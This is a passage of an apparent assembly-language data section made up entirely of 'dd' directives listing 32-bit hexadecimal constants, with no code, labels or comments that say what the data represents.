		dd 0B103957Ah, 6AEED2EDh, 8CBF8829h, 2A78CF4Ah,	0D3F44021h
		dd 0D875E0F9h, 0FE19300h, 98CA5361h, 0A8D4EA2Dh, 1E48BBCh
		dd 7E56F258h, 20B1321Dh, 9CF0C070h, 0A9188E7Fh,	505980BAh
		dd 0B370D7h, 6F6DEBD9h,	4C0312BDh, 5637D100h, 6C31BEA1h
		dd 611018B0h, 0FF1961D7h, 68004998h, 91325228h,	0EE40EAA9h
		dd 4E47793h, 709E3E5Fh,	0A5788836h, 0FE0F4E00h,	0E7B8E3AEh
		dd 37F80C86h, 0A7905917h, 0AD5F620Fh, 99810DFDh, 13DC4Ch
		dd 3A3B9F97h, 72C88A84h, 24258F0Ah, 0A08FA043h,	7B59008Eh
		dd 0F8BE33Bh, 0CA5BBDFFh, 81DA5A06h, 0CB01E08Ch, 938E24A1h
		dd 0B048BCCAh, 841D01E4h, 55CD9EFCh, 975BE8DEh,	36076176h
		dd 5219C95Ah, 4AE25EF2h, 0E1FC9BA4h, 0E0C63BF8h, 71D21AAh
		dd 27BF25CCh, 0E929015Ah, 0A42262h, 60BDB1BBh, 18C75EBh
		dd 8E2FCFEFh, 0D8FA3656h, 0D818CDA1h, 2B594486h, 0B1421FCCh
		dd 3720AE29h, 6730C0A9h, 0FD07373Dh, 0FFF7E006h, 93AD0D80h
		dd 73187D8Ch, 82D20007h, 9C272483h, 0E600845Ah,	0A1613491h
		dd 525B7BBCh, 5E008CE4h, 918ABAABh, 0A1056CF7h,	0F1627B78h
		dd 136B1009h, 3088DC54h, 81760303h, 9F8E6EBBh, 370FAE7h
		dd 0FC32C5C2h, 0D2452FC8h, 0B6179600h, 579C403Ah, 725F009Dh
		dd 223E7A91h, 47122876h, 0CC02D52Dh, 64365282h,	0D0B40008h
		dd 0DB7C9D07h, 40FF7B97h, 84D7BCECh, 34010C91h,	2DE5C46Ch
		dd 1C736030h, 583920B0h, 0BC8BB181h, 28B7740Eh,	0E66A00F2h
		dd 74C987FDh, 1A5B2A31h, 514A05E4h, 302B5C26h, 0FE5F65D4h
		dd 0C57BDD00h, 0D3AD5322h, 0B6F300AFh, 0BA85060Dh, 3034462h
		dd 0CA8E2867h, 373918E0h, 43A2C1DFh, 0B5C5A904h, 54CCD44Dh
		dd 0F37548h, 83A3EB8Ah,	33B28D8Bh, 4E1F3DF6h, 9CC50140h
		dd 9EC0F1B7h, 2CC38625h, 6ED3BAh, 5CCD505Eh, 0E160615Fh
		dd 0DB604471h, 0F5650034h, 0B4FE2948h, 9F009412h, 458F1A23h
		dd 0C09CD7h, 0A1C7AB5h,	41E5A96Fh, 22A0BE48h, 70B0080h
		dd 43EADA67h, 840A90DBh, 9006B9A7h, 13DE1A84h, 376686C1h
		dd 2C653060h, 42C8B9E6h, 56C37B25h, 81DA61F9h, 45635D99h
		dd 0DC63188Bh, 0E4DEA000h, 847CE869h, 7BDBC80Fh, 508C556Dh
		dd 1077B210h, 7C52497Ch, 41A72C0Ch, 2C28202Ch, 0DA4420B2h
		dd 0A6C400E0h, 6556C2ABh, 17038ED2h, 2AA06F2Ch,	0B1F4D8D1h
		dd 39EB6062h, 6DDA5C28h, 670CE500h, 0C9C20797h,	75E4EB8Ch
		dd 0E7E20BF8h, 2C98CF4Dh, 93E81CA0h, 3D7F1B0Fh,	2C8C0106h
		dd 482042CDh, 5A610E99h
		dd 0BBC02DF8h, 9C98847Bh, 5B1FA97Ch, 0D0C433AFh, 0C0408224h
		dd 767D0CB7h, 3E540401h, 2BAF493h, 25F89050h, 0DC4C1F32h
		dd 6C1D82F5h, 18C0738Eh, 0DCF1B2ACh, 0C9D4EAC3h, 958DC028h
		dd 60FAA169h, 9678B848h, 0C53C22A0h, 0D10C9823h, 99B9AAA8h
		dd 7ECB07ACh, 99C311B2h, 724ED8D8h, 11133124h, 434BD600h
		dd 197C4748h, 71D962E3h, 0F792E844h, 7766A000h,	9CFC30A7h
		dd 641C0789h, 746CE18Eh, 8F90C1BFh, 31C731Eh, 31ECD789h
		dd 0DA6FD9BAh, 3E8AC2F0h, 320967FDh, 0FC053E74h, 0CFD200B0h
		dd 1870B852h, 876F2502h, 90375F1Dh, 0F89E44C4h,	0A1C700F2h
		dd 0E0C160Bh, 84A43430h, 2A8FB70Fh, 0D35E6051h,	0CAB973h
		dd 5B0489E5h, 8B4FF040h, 0A6528C00h, 62FC51BEh,	6FBCA81Fh
		dd 0B0CF485Bh, 8058B178h, 0EE462693h, 0BF005508h, 68F9D75Ch
		dd 33BC270Ch, 74E1D561h, 2E466698h, 137FE38h, 92B55B9Dh
		dd 30601335h, 0BCB95CACh, 6F80FE8Bh, 1E7EBC60h,	0A022A02h
		dd 7F7A986Ch, 0E5FA3CE1h, 0B4D46009h, 1DCA6120h, 87FD8FBDh
		dd 398D6239h, 7A430800h, 2410CB04h, 0B000EF7Bh,	0EA97EDF4h
		dd 84009446h, 68E84B4Ah, 0B0B38BCDh, 0A4060000h, 86C7D7DCh
		dd 981397E9h, 0A420241Ch, 3ACDBA64h, 8F139A4Bh,	0F200BA14h
		dd 56D0A3A2h, 597B152Ch, 91008CE1h, 996F52FDh, 37609749h
		dd 9441DEA9h, 4DB161Dh,	0F00837E1h, 3108673Eh, 220236F2h
		dd 47D812CFh, 0A5A048F2h, 901954B9h, 0BAF409h, 4E2DBDACh
		dd 4FC98BE0h, 24380C00h, 343BD091h, 92BB80CCh, 0B0D4EA00h
		dd 5577421Eh, 5C6204CDh, 0C8BA2D38h, 0F603835Ch, 29B7BC79h
		dd 4E377h, 4DEE5E19h, 0C13D602Ah, 24051290h, 869BD46Fh
		dd 781B8000h, 7322C26Eh, 8BFB38A5h, 35C5D097h, 8FF300D8h
		dd 0FD646C21h, 9AC8C0Eh, 8851C0A8h, 39694E8h, 0C983A7F5h
		dd 4F889BC2h, 0B5398F1Ch, 6929804Bh, 0DEAABCA3h, 8921824h
		dd 33A18050h, 2CC884FBh, 7CC0A366h, 4CA8DAA4h, 0CB132C41h
		dd 2AB03374h, 0F5D86AEBh, 0FF0E368Dh, 40EE91DEh, 63DDF4C3h
		dd 0D8F35437h, 4CAC0F73h, 0BAE06E0Ch, 9C2C41BEh, 5107D21Ch
		dd 868FD303h, 295CE816h, 91FD742Fh, 0A787008Ch,	996E986Fh
		dd 9643FC00h, 0C58CBA36h, 2C18B8CEh, 84F959h, 3FC9E42Fh
		dd 0A707F397h, 0C72A525Bh, 38C4380h, 80E4B942h,	0EA7D21BAh
		dd 8712FC64h, 340630F4h, 54106D05h, 406705Ch, 0F27B76FBh
		dd 0E65CC8BFh, 9ADF5500h, 12FF2226h, 1663039Dh,	0E0B0431Ch
		dd 367480D4h, 640CEEA5h, 39B3BA27h, 25550FA3h, 8100F68Ah
		dd 0B52820F7h, 0F12FFB05h, 9440D637h, 168F6972h, 0BB350098h
		dd 0F574B4B2h, 24E82FE6h, 0A4A26139h, 6800079h,	7710A2Ch
		dd 536000Ch, 95A99ACEh,	8A14D325h, 0B8CA5EAh, 9815A324h
		dd 276DCh, 0CB975795h, 0F64C0E23h, 0D709000h, 8E3E932Fh
		dd 0D079000Ah, 9126A596h, 6F003786h, 40D8AFB9h,	2E7BBEE7h
		dd 1138A9ACh, 0B4D028EFh, 8800A37Ch, 0F7E77DC9h, 7CF5182h
		dd 0C2928B8Ch, 37A04FDCh, 6C296869h, 96F0D07Eh,	32F59D00h
		dd 0AC91341Bh, 4F2C13F1h, 31A8302Fh, 45FECAD0h,	0E6870750h
		dd 2F6D7800h, 5C7D2982h, 0B4245C4Bh, 20DD3680h,	4100C02Ch
		dd 0B196AD86h, 0F99088Dh, 24235C1Bh, 2515D840h,	921FA861h
		dd 72166CB6h, 6039CC30h, 0C5E286h, 0DEBD4AACh, 0BC9D2071h
		dd 791AE900h, 17EFB803h, 4897766Ch, 5B01582Ch, 0FA8C9896h
		dd 1840D260h, 0B200AB92h, 88CC6A46h, 142259FFh,	3461DBF7h
		dd 3A2A2700h, 0FA23FE65h, 36F9C300h, 6D180830h,	7A37DC5h
		dd 26C1155Ah, 0D0022E59h, 884805BCh, 963DEE75h,	0F2B900FAh
		dd 6CF4F933h, 7A649821h, 0CEEB44A2h, 0F2012D00h, 538632E4h
		dd 84A1609Eh, 3F56D93Ch, 6F91ED02h, 6138B17Eh, 0C8285CB0h
		dd 0B98240C2h, 0B5CC2040h, 33D7FD11h, 0AECB1102h, 186055F9h
		dd 0E94C1F99h, 5A5E1288h, 2A3C88h, 0EFC2AA5Bh, 0DD34D5A1h
		dd 430BA88h, 77B520DBh,	0B444E02Ch, 24607A08h, 50E78082h
		dd 13887B05h, 9305438h,	0C85BCBh, 4F82A480h, 0AC5D48FCh
		dd 2AC00094h, 87F0A249h, 6422AB06h, 1049C3Fh, 7A960254h
		dd 80F43437h, 7C510489h, 62FD32h, 4D10873Bh, 0CFF92C8Ah
		dd 0D7566702h, 0B0547BA2h, 4EB28888h, 785840BFh, 57310FB0h
		dd 0F0030E00h, 836AFFE3h, 295209DCh, 0F4689CD8h, 0A312847Ch
		dd 5CD1C88Eh, 70325FD5h, 9C013C58h, 0FFAC94DEh,	3B80CF8Dh
		dd 0B8A49AD7h, 90557C25h, 839694h, 0C28241CBh, 585B62CFh
		dd 0A8813500h, 22FC8724h, 69E36061h, 0E91B1EDh,	0A5486905h
		dd 0AC00E538h, 0A6BA6F83h, 0D68D1376h, 940D039h, 6A0069B8h
		dd 567A08A1h, 90BCE6h, 471D3AD5h, 0C6A23227h, 6F2A7201h
		dd 4E1E99A7h, 0DC4839EDh, 91CE0156h, 28FE158Dh,	2F9960E9h
		dd 0DFFFBC1Ch, 1440A0E6h, 0A27972h, 85BEB6BBh, 0B127588h
		dd 6605431Fh, 48612849h, 0EF2A6B0h, 0ECFBDF8Fh,	0F027BC0h
		dd 0B3120D55h, 0E80720E2h, 4E02B530h, 0A072B9h,	0AC7E87C2h
		dd 91E39821h, 0F7441424h, 77AB6A00h, 0E32A0938h, 9D00C463h
		dd 8662917Fh, 7905A85Ch, 58FD2B8Dh, 0BCE2B847h,	0ACD6EFFh
		dd 0C1019C03h, 762E8C5Ch, 0FAA78020h, 132FEADh,	47295E87h
		dd 0DDFD3E3Ah, 9C5820CEh, 0BF54CC90h, 0CCE51D38h, 0BB09CB3Eh
		dd 9D745E4h, 84C418h, 33B5B092h, 15086C1Ah, 270A7804h
		dd 0D082DAD3h, 0EF9422E1h, 781DDF80h, 8901CC49h, 81098B3h
		dd 0A06033BCh, 5491881Ah, 8E2525F6h, 0D5D8A202h, 6885A5Ch
		dd 0A6B37343h, 0D897D0BAh, 0B7611309h, 2EE4C84Ah, 0EB295400h
		dd 2CF352DDh, 9048FDFDh, 0E9C6318Eh, 32BA2129h,	400D0054h
		dd 76C5454Eh, 0ED2602ACh, 77323019h, 9E00CCD1h,	99808DC9h
		dd 8BF14B0h, 98C3E439h,	0FDA0BE01h, 0F5005E03h,	0CE90F847h
		dd 0BE3921Dh, 34387080h, 72903093h, 817ADD40h, 0A1780E98h
		dd 6F58B70Bh, 82EF01EAh, 0DBF9C1ADh, 950031BFh,	10C82867h
		dd 3EF0FD31h, 0B8B2153Ch, 3FD202A3h, 0E0F94A69h, 0F0C487F4h
		dd 59571D82h, 0B7939B3h, 7118743Ah, 9100D464h, 503046CEh
		dd 6255FC82h, 0FE8EC98Fh, 0CC40CC71h, 4AA2355h,	0FD948D9Dh
		dd 81E24960h, 0C532888h, 3B45802Eh, 0D400DFC9h,	948E46B0h
		dd 2D612B13h, 3C203995h, 5B4083B8h, 0C0BE543Eh,	0BC2B29C9h
		dd 1800BFE0h, 2416B3AAh, 0B10234CFh, 0BC78943Dh, 0DDD890B9h
		dd 8ECB0025h, 6B9B33AFh, 0D60B6968h, 0AA5A82DEh, 82399B8Ch
		dd 0A7847B56h, 0CF7040BCh, 148C1D8Bh, 917DD87Ch, 0A80EAF09h
		dd 72CA3Ah, 9127B5EAh, 6E660115h, 0CD43A7C4h, 0D81C2018h
		dd 94E4C08Ah, 0E0372A06h, 5B0F0084h, 445F6735h,	2C0B7F8Bh
		dd 1037D4BDh, 3C4CC024h, 9C0013E3h, 0EF968557h,	0A3048965h
		dd 0BF8FE9B6h, 0D568E4h, 0E536D1DAh, 0D2C74F15h, 59648000h
		dd 0D83F2F23h, 0EC482033h, 29BF0114h, 90C425A0h, 1716808h
		dd 7F738245h, 33728793h, 0F8D23C50h, 1C9DA700h,	62F0A182h
		dd 659E8D9h, 557BA5B4h,	0D770B1ECh, 0A3907554h,	0A541FD60h
		dd 7E6C90h, 98B8FCCEh, 92551E3Ch, 0E1479502h, 20F43731h
		dd 0BF931B40h, 3AC91300h, 2B0314C1h, 9E2F490h, 865FC06Ch
		dd 470078C4h, 45369241h, 5C23256Fh, 976329Ah, 1EC4A5F4h
		dd 0AD00CC44h, 2060E61Fh, 3E823A48h, 50383F7h, 0C344AEB0h
		dd 0FCF8DB9Bh, 320ECF8Fh
		dd 24028CBAh, 7C8859FDh, 243707B1h, 5929BC27h, 0A28088E8h
		dd 0EAF1E10Fh, 40D94BADh, 75062BCh, 0B436C98Bh,	0A1CA419Ah
		dd 0D81BF4F5h, 0C4A849F0h, 10C8284Fh, 6F258345h, 0B1F83BA8h
		dd 100BE488h, 0E054340Ch, 98C0DB50h, 2CA70B8h, 479740A1h
		dd 10E4B94Fh, 58D42C00h, 29B5A4E6h, 0FE0E001Ah,	0CFB8DC9Fh
		dd 4C2F5688h, 0B500902Ah, 68C500A4h, 49759187h,	93798EADh
		dd 80BE4424h, 0C9610389h, 25713D2Ch, 0A8D0F9CDh, 71C80012h
		dd 42191E3Eh, 78B5C9B1h, 16FC005Eh, 18312E62h, 2A1EE35Eh
		dd 0A424AE6Ch, 0A5609A19h, 72873070h, 43AD0B6Fh, 20641916h
		dd 808D0A3Fh, 0AE499570h, 76560578h, 22ACB0CBh,	0C90380B9h
		dd 0F5BFF79Bh, 52C2F891h, 0D7D401B2h, 292638FDh, 0E86D24h
		dd 366BCE1h, 0A8BA926Eh, 555B20h, 0B93591C7h, 37F1CD74h
		dd 84B13698h, 3DCC5940h, 0E24C3C43h, 0EAC5E00h,	177ECB8Ah
		dd 0E820DD4Eh, 13C02FAFh, 0D037606Fh, 35DAE368h, 9187800h
		dd 2CE9F076h, 19DB5C19h, 0B8562B02h, 0F87AFD8Eh, 38CEB880h
		dd 0D440C09Eh, 18F0379h, 9EEA5F3Ch, 822B7CA5h, 637BF328h
		dd 476120DDh, 0D00E4C32h, 96AEC9D8h, 3D81ED1Eh,	90C46069h
		dd 0C9124F8h, 0FE62329Dh, 2D00A371h, 4E9FFC33h,	4894F9h
		dd 0E5A8CDDDh, 68AB395h, 0A447BA4Bh, 99601CDBh,	7023137h
		dd 96CEA180h, 2780EEDAh, 0B92EB558h, 92A31F2Fh,	9A858758h
		dd 3B69A170h, 976C02E8h, 57FD3979h, 6D130852h, 0AC09B224h
		dd 336380C9h, 1288CD55h, 0B4367746h, 0B5009F58h, 0D52FC76h
		dd 605AF3BDh, 1AB626F7h, 380BB794h, 0E4FAED49h,	0D0D4FDDCh
		dd 753BF416h, 0A19E01E0h, 5160F6E4h, 62F3F432h,	21FC44h
		dd 0FFC62793h, 0AAA5ADF6h, 1ECB7B0Eh, 620D2576h, 39146888h
		dd 0B300CC53h, 21127FDBh, 3048ACA8h, 8A9C1F38h,	2F58E584h
		dd 1490CCCh, 304E3DF7h,	60608012h, 5600B7B0h, 0BCCA55B9h
		dd 1394A26h, 2F742E89h,	787BD161h, 0FF2A0F38h, 0DA5F2094h
		dd 77FBF5E8h, 50B05825h, 0C7542065h, 44ACD890h,	572A4160h
		dd 63380E80h, 426265AFh, 38591C90h, 0FE024428h,	0D44EB9F4h
		dd 5728485Eh, 0F356227Bh, 0E8B18EFCh, 0E80409h,	911D1BB7h
		dd 0D4AE001Ah, 794BFE6Ch, 28B19CD8h, 56C40A38h,	8C609803h
		dd 0A713A3h, 37B6DF1Ch,	7BB88109h, 84EC7C5Ch, 40A0BC42h
		dd 0FF28881Ch, 20C74Eh,	72963811h, 43BF005Dh, 51BB1EAEh
		dd 4E176889h, 0C3227CFh, 4479C147h, 4C81F8E0h, 3ECB5C72h
		dd 2E45180h, 915CB4CDh,	0EC81052Fh, 0E882421Bh,	39C6844Fh
		dd 6809F8C0h, 407C96CCh, 2C70515Ah, 3090E700h, 0AAA7AD64h
		dd 248D0119h, 329A5884h, 310DDC3Fh, 2941D004h, 7540FF61h
		dd 32B906E4h, 0E9DC5802h, 40989C1Dh, 74EE8EF2h,	77A0A16Ch
		dd 90A3C192h, 825F4914h, 0DAE7D301h, 0F4CFE67Bh, 13A29C30h
		dd 0C83A682Ch, 0D7005CA0h, 0F3556B35h, 9A13081h, 0BAF00EE8h
		dd 61E94068h, 0ACD90F24h, 660AD500h, 7A72A0h, 705DDC84h
		dd 0B16F2A54h, 14F4453Eh, 482411h, 0C486F2D3h, 0EC2B9609h
		dd 0C136092Fh, 0F0048A2h, 60ABB02Ch, 4EC9BC01h,	1709D587h
		dd 0B429B670h, 0C37202A8h, 30400530h, 0F3746B8Fh, 0DA0622F8h
		dd 7F2442CFh, 9D920069h, 0C0D6C8A2h, 0D513109Eh, 8027BB6h
		dd 469A63DEh, 1A663AD4h, 978A1601h, 0CC6893D9h,	0E40272C7h
		dd 0FD2C9503h, 0B0045A5Fh, 42AF096Ch, 700E2954h, 2A578F80h
		dd 0B89ED271h, 7C61024Fh, 0C7786122h, 0BF3CED0h, 0FC04A884h
		dd 88FF887Dh, 4A52EA60h, 0E65CF27Eh, 3FA006Fh, 0F2F6A244h
		dd 0F1003502h, 2474B00Fh, 0B09F6B87h, 62A504D8h, 8855FD06h
		dd 3A3E5470h, 7B740956h, 42E0906Fh, 0CCED246Ah,	0C2393888h
		dd 1EE08AAAh, 5EF1F9A2h, 22B1C767h, 7510103Dh, 0CB02E8BAh
		dd 9A68815Bh, 1B85AB9h,	0F593B0C4h, 0E09DD153h,	3CE997B2h
		dd 0F07D8094h, 510A7749h, 3B218CF7h, 1A000832h,	80E5BF9Ch
		dd 0B60076CBh, 5F8C25A3h, 17DD48Fh, 5ED8CDBEh, 5861FDB8h
		dd 0F22EDFB4h, 0A0C06033h, 13FAA09h, 0E13C1F8Ah, 0E4C94908h
		dd 5012C591h, 68002D42h, 0FE9729BEh, 9C0350D0h,	0F4A4706Fh
		dd 9BE10092h, 0C047BA59h, 0C924CA5Ah, 0E96004DBh, 0F387B4h
		dd 607CA3DEh, 0C0F1745Ch, 39448801h, 52AFA9C9h,	292918ECh
		dd 80F82A77h, 87DDA6E9h, 0D590A5DEh, 1D2CC500h,	0FF65ED89h
		dd 980962B1h, 48E626C7h, 45CC3Ch, 0B1DCE5Ah, 5F277BE1h
		dd 37042042h, 29009C58h, 5BFDAAC3h, 9CA3C5Fh, 7DB9634Eh
		dd 7B390040h, 0C1E86230h, 195F369h, 6E062D74h, 6B2CD646h
		dd 0E95E59A0h, 0EE89F8h, 41A2CAEDh, 2A21C669h, 0DC00B0B8h
		dd 1A536B1Ch, 97293C91h, 2D7E8490h, 0B7249E01h,	0A3A281E4h
		dd 0F35D3120h, 38EFCBD4h, 494A8E2Ch, 3C6834C4h,	0E30035FFh
		dd 7CEA0CB2h, 549D2ACh,	8EA16055h, 0CCB822FBh, 910FF0F1h
		dd 0D85E0A3h, 41D312h, 0F2D029BCh, 6689C096h, 0FD086D06h
		dd 0A311D5Dh, 25CD3376h, 0F4DD0684h, 5103D879h,	0C4BB889Ch
		dd 4840FDAFh, 0E8E39F21h, 2AF30B3Ah, 64C4959Eh,	85FC5Ch
		dd 42B04393h, 0B9284EA3h, 0A1F680E8h, 0C9684B4Ch, 928B7500h
		dd 8AFCD10Ch, 0EE37222Ch, 44692D00h, 4F231A3Fh,	478F2E56h
		dd 0B9A800B9h, 39846A62h, 0D7EF440Bh, 0A33CC891h, 2DCA4D5h
		dd 6B10F9AFh, 0A8E00173h, 301C2ADDh, 40A6593Fh,	891F5E08h
		dd 488BB987h, 64F14812h, 67C40F00h, 0C993D0h, 0B3296B78h
		dd 6124F466h, 854AF32h,	0E9D8C6D2h, 0B843F07Ah,	33ABB501h
		dd 557CC1CAh, 0D8322921h, 0DC20A1CFh, 0F8485721h, 0A0A80600h
		dd 3EE83258h, 278F0059h, 0B1F6A495h, 0F8B4607Bh, 84D8CFC1h
		dd 940FE862h, 37416273h, 70027616h, 7894A240h, 43564A40h
		dd 0FDBA02FFh, 637B1E8Fh, 5480DCD1h, 918BBF59h,	9C070F27h
		dd 17873E53h, 0B2D2C748h, 88E36DADh, 0D598CCBDh, 0C6E12900h
		dd 25070444h, 8782123Dh, 0AEA8F0CDh, 374E7D1Ch,	8531D859h
		dd 90ED98DCh, 0C2E30078h, 0F2172E0Eh, 293AD3DDh, 4491A7C7h
		dd 0AA312540h, 4719C42h, 0CB002017h, 0CC0F68ADh, 876D0999h
		dd 6C89079Bh, 0B89C0400h, 4405C348h, 6BD8CC2Dh,	0F8349023h
		dd 7D2ABCCEh, 184B2C4h,	0F5585232h, 20882747h, 28881C84h
		dd 4510902Ah, 0B40B3A18h, 90F58B71h, 6BEEF8h, 0BD129C90h
		dd 8385553Ah, 0C7577B1Ah, 52B88221h, 5809036h, 0D10900B9h
		dd 3BCF1CBBh, 211ECA38h, 0CB068130h, 2C0CD94h, 49E6FB75h
		dd 5C799959h, 5C103301h, 41FCEAC2h, 0A0976EEh, 29D9F501h
		dd 48B210BCh, 32AA1D88h, 4BF9FF18h, 0DB422524h,	9177BCC1h
		dd 6101DDA0h, 1F82795Ch, 0D418201Ah, 5B7F0090h,	0BCDCF0C0h
		dd 16B08F5Ch, 1049E139h, 2200EC66h, 0A5FFA302h,	51125892h
		dd 3CD464FCh, 1678B48Ch, 0D8F23Ch, 0B6852CAh, 0B00FA087h
		dd 4C3DCBEEh, 1982976h,	74ED8850h, 0DFBC354Ch, 0A6404BE8h
		dd 75841760h, 95B4606Eh, 0F65CB098h, 0E3405C96h, 0B732C3Ah
		dd 3EBED8A1h, 4E395C80h, 430F3D0Ch, 0CCA55A4h, 2D717Ch
		dd 1BB3C4ABh, 0F90C21A5h, 0D1142F74h, 18A462EEh, 8408B2B9h
		dd 292738CCh, 9C27B4C8h, 517C5022h, 2832F090h, 5C702F61h
		dd 70331876h, 20BFD00h,	0F6E5893Fh, 6120F303h, 804F0124h
		dd 124E86C6h, 220BD83Bh, 0AA201870h, 4523A64h, 0AF847CE7h
		dd 61448174h, 0D09C13EBh
		dd 11989A5h, 0B92F8667h, 4042158Bh, 1F34BDD8h, 0D76FB1B0h
		dd 3490F6A1h, 0BE818Dh,	7F753B14h, 547A884Dh, 440BF5Bh
		dd 0E7C29220h, 0FDC70F98h, 63C03639h, 0B3BC3742h, 532EF371h
		dd 0C601BC6Eh, 2A72F850h, 0A4992460h, 80F899E4h, 0A0F43690h
		dd 0F60026BCh, 450F733Dh, 2416C677h, 6EA029B3h,	0A7FBE3E0h
		dd 0DA0454F0h, 615C55B2h, 7248B4h, 10B3D8D6h, 0ADF4C4EFh
		dd 0FFB57809h, 1EBCD1AEh, 4EBE41F3h, 6887FEEAh,	0A8C0808Ch
		dd 13BDDCAAh, 4CC4CE8h,	20E35BA0h, 250FA397h, 18203942h
		dd 0BD698793h, 7DA51F00h, 0E08D1381h, 3F5A0764h, 74D0E414h
		dd 31B08093h, 80904128h, 8C20274Ah, 397E8Bh, 72679E3Ah
		dd 0D42E38B4h, 80962913h, 8BBAD807h, 0BDCA4111h, 0E47349E1h
		dd 5B8D9207h, 842F900Fh, 2307053Bh, 0EFE7CE28h,	0CB142C21h
		dd 130BF570h, 0C4E1F6FFh, 800CA83Ch, 0E85EC98Dh, 0FA630287h
		dd 1C906103h, 0D6B95BC0h, 0BEA7AC05h, 0BC30BFF8h, 0BC3853Dh
		dd 2E77DF86h, 32132574h, 4E0E9808h, 5E80A20Fh, 91428DF3h
		dd 326BB500h, 68808F8Bh, 6F550774h, 439247ADh, 0CDD0BF63h
		dd 9F3B3B62h, 8849CA06h, 8CA5807Fh, 0D0C1E9h, 0C221A0AAh
		dd 138DA7B5h, 0D30AB301h, 312D597Fh, 1D80FC68h,	0FE182347h
		dd 1C282500h, 7D03DB9Dh, 1FEC09h, 6761445Bh, 0A891B060h
		dd 6491BAFAh, 6C626F00h, 0B8A2147Ch, 0E560023h,	5C1B5F84h
		dd 58262C53h, 0A6BA9803h, 0AF066827h, 1C106204h, 14C187FCh
		dd 0B476C5C4h, 0AEC04FBCh, 0B87D8B93h, 2DCA7E1Fh, 57FD92FCh
		dd 6132F827h, 2EC8AEEDh, 0E64FC12Dh, 0B831BE6Fh, 90C625F2h
		dd 0B99C3F54h, 24DAB113h, 9DDD4C20h, 38B30037h,	6543EB7Fh
		dd 423ABAD5h, 5AD8B8CEh, 0B4B0AC8Ch, 16CC4098h,	4D00364Ch
		dd 0C9525B4Eh, 1342CD34h, 0CE084Bh, 0EC7A0BD8h,	9E306F6Ch
		dd 82A440EDh, 14374C4Ch, 957C9F80h, 8400D35Dh, 57CC9487h
		dd 48F9276h, 5BFD2BAAh,	8A256B6h, 3D80B83Ch, 1EA07BE4h
		dd 0DC01BD94h, 0F514F9CDh, 5DF8F0D4h, 0B17C902Fh, 56548018h
		dd 0E7C66A03h, 0D7E67E16h, 74D3B8A0h, 5B3B1391h, 8F78002Ch
		dd 44D2FF5Ch, 24220580h, 7CD6D9h, 0C06F2421h, 0D03EB73Fh
		dd 88CBA461h, 55FC5284h, 0DAF894CDh, 7CA30D23h,	7188B859h
		dd 2AF4127Ch, 9FD886C0h, 5292ECB6h, 4AF46002h, 0C130C264h
		dd 88609DECh, 0C1E45AFFh, 0DC719308h, 0AB00BE7Ah, 89AE538Ah
		dd 88D065h, 95787606h, 1A56F404h, 2150A203h, 0AEC0BC79h
		dd 0D3370028h, 10041836h, 20EF458h, 811A09EBh, 9AE31E2Eh
		dd 881104F7h, 808B89A4h, 76A1058h, 0DC133Ch, 66A7F897h
		dd 37592BB9h, 0C1585DA1h, 0EC6F1C7Ch, 0AB48FB46h, 8363005Dh
		dd 7A31364h, 3B54A086h,	0A27B1801h, 359B395Fh, 9C9E5600h
		dd 985A959Ah, 6564001Fh, 99096CDEh, 0DD0C13DCh,	912E43A9h
		dd 0F10400AEh, 5D672DD9h, 9A1784D1h, 4201A614h,	5347B7CBh
		dd 1810AB31h, 7E96A24h,	5CD01387h, 506487F5h, 8B55987Eh
		dd 6529AB60h, 393DC8Ch,	43ADFAB0h, 41008029h, 30750913h
		dd 60887364h, 0D17D31BAh, 0BF0F87EBh, 0C0F1B574h, 9CD6778Eh
		dd 497100BBh, 0B8CE38E3h, 0FB240EA4h, 0D8222B42h, 54A12915h
		dd 16C50080h, 8CC93B0Eh, 5FF30010h, 0A5D919E3h,	99B0DEF9h
		dd 301E4700h, 9F295B70h, 30E474B8h, 404143A2h, 0AAA0F2D8h
		dd 0E61E578Ch, 0D9834447h, 983E3970h, 0B86E103Bh, 130E0788h
		dd 5BE783Fh, 40C84388h,	26AB551Bh, 0BBBCF8A8h, 527E1492h
		dd 0CAD73B00h, 30DA310Dh, 966601E3h, 0BC7B8BBEh, 4A298EC1h
		dd 0B1CF02h, 5B0C6C8Dh,	48000E6h, 63131D9Ch, 0CE0C2066h
		dd 0B168A1CCh, 708F1348h, 57FF00E9h, 9D886CAAh,	7260B4AAh
		dd 0FB00EB22h, 0B8ECD718h, 18EA9080h, 41663E16h, 0C20C5B6Ah
		dd 0D068DE64h, 9A863015h, 0E5D10641h, 69E05A77h, 1B32EB1Eh
		dd 0FA016864h, 0BC96A40Dh, 69A2B98Ch, 4C3B6351h, 1E258077h
		dd 0A387EE40h, 0DEEF00C6h, 1B3F4396h, 3C5216F7h, 0BB560740h
		dd 40C3943Bh, 5193D67h,	0B030EC94h, 88F3C604h, 431490ACh
		dd 2CB8EDD1h, 7A3CB648h, 3566B900h, 889A1A5Ch, 9B29C0A2h
		dd 6783B217h, 0F8F9148h, 4566A53Dh, 5C00BCF5h, 1E0C2F87h
		dd 3EEEE6h, 336353DAh, 0A310FAE0h, 80B40449h, 0C3BBAFFDh
		dd 0C61C1AAh, 0FC269704h, 51CF84A1h, 8120C179h,	54204582h
		dd 137200C4h, 2E05086Fh, 731C9959h, 5258A125h, 9C4BDE9h
		dd 8462FD9Bh, 0F6751818h, 44D670Eh, 6E23A081h, 3B45050Ch
		dd 0BC91748Ch, 787C03BAh, 0F0217EFEh, 316917h, 320B70AAh
		dd 0D335F8BCh, 30F3473Bh, 16D631B8h, 0CA0A0014h, 19F98DF0h
		dd 2600AA4Ch, 0CFAE93CDh, 909E001h, 5A23E304h, 887CEC20h
		dd 533F4273h, 4A6209DCh, 200009BEh, 40B7B6Ch, 91CA73E7h
		dd 0CB7C8464h, 0F1CAC06Bh, 3D006D12h, 956E9FD3h, 0C96CD1h
		dd 0D9CE31ABh, 36BCF209h, 0FBAA780Ah, 934080A1h, 0F59AFCh
		dd 95C44766h, 7B756B68h, 0E24CAD7Ah, 77A6C0C0h,	2B7A0B2h
		dd 0CB3EE830h, 3063F368h, 23280B99h, 0DCE009ECh, 0ED9100B3h
		dd 1078F83h, 87BCCB4Bh,	32A1111Eh, 0FD2C00A0h, 44469CBDh
		dd 1510017Ah, 8871DA1Dh, 0A4FC50C0h, 0B67F4F69h, 9200A07Eh
		dd 45E8C84Eh, 3E441B0Fh, 0D480B814h, 0D316F3AFh, 0C97B2D75h
		dd 9967000h, 6E2890F5h,	0C43B1264h, 499C30C8h, 9FF47682h
		dd 5004DFF2h, 6CB1272Dh, 286A90CCh, 0F8E2A686h,	60F000A0h
